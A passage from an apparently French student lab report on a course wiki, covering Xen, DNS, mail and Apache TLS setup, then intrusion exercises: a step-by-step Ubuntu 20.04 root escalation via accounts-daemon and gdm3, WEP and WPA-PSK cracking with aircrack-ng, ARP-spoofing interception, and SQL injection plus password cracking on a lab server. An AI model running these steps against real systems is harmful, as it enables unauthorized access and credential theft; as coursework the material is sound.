  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=4. Services Internet=&lt;br /&gt;
==4.0 Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==4.1  Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==4.2  Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
1ère étape: &lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.&lt;br /&gt;
&lt;br /&gt;
2ème étape:&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
3ème partie:&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant configurer le serveur mail de notre VM:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix ( configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot; ).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
==4.3 Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Afin de configurer le service http Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce repertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant passer à la configuration d'apache2 :&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, il est nécessaire d'activer le module SSL d'apache:&lt;br /&gt;
 &lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire  /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS( port 443):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerAdmin admin@piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  Redirect permanent / https://www.piedbleu.site/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.181:443&amp;gt;&lt;br /&gt;
  ServerName piedbleu.site&lt;br /&gt;
  ServerAlias www.piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile /etc/ssl/piedbleu.site.crt&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/piedbleu.site.key&lt;br /&gt;
  SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La commande &lt;br /&gt;
 apachect1 configtest &lt;br /&gt;
nous indique bien que la syntaxe est correcte.&lt;br /&gt;
&lt;br /&gt;
Nous devons aussi modifier la configuration de notre DNS ( fichier db.piedbleu.site), en rajoutant un enregistrement de type A:&lt;br /&gt;
&lt;br /&gt;
 www	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Pour que les modifications soient prises en compte, nous redémarrons apache2:&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==5.1  Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux : &lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 $ sudo adduser u1&lt;br /&gt;
 $ su u1&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 $ ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 $ top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 $ kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 $ rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 $ nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 $ whoami&lt;br /&gt;
 pwn&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ). &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 $ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-5.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.4  Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I was here&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=6. Réalisations=&lt;br /&gt;
&lt;br /&gt;
== 6.1  Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions vituelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==6.2  Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on répère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
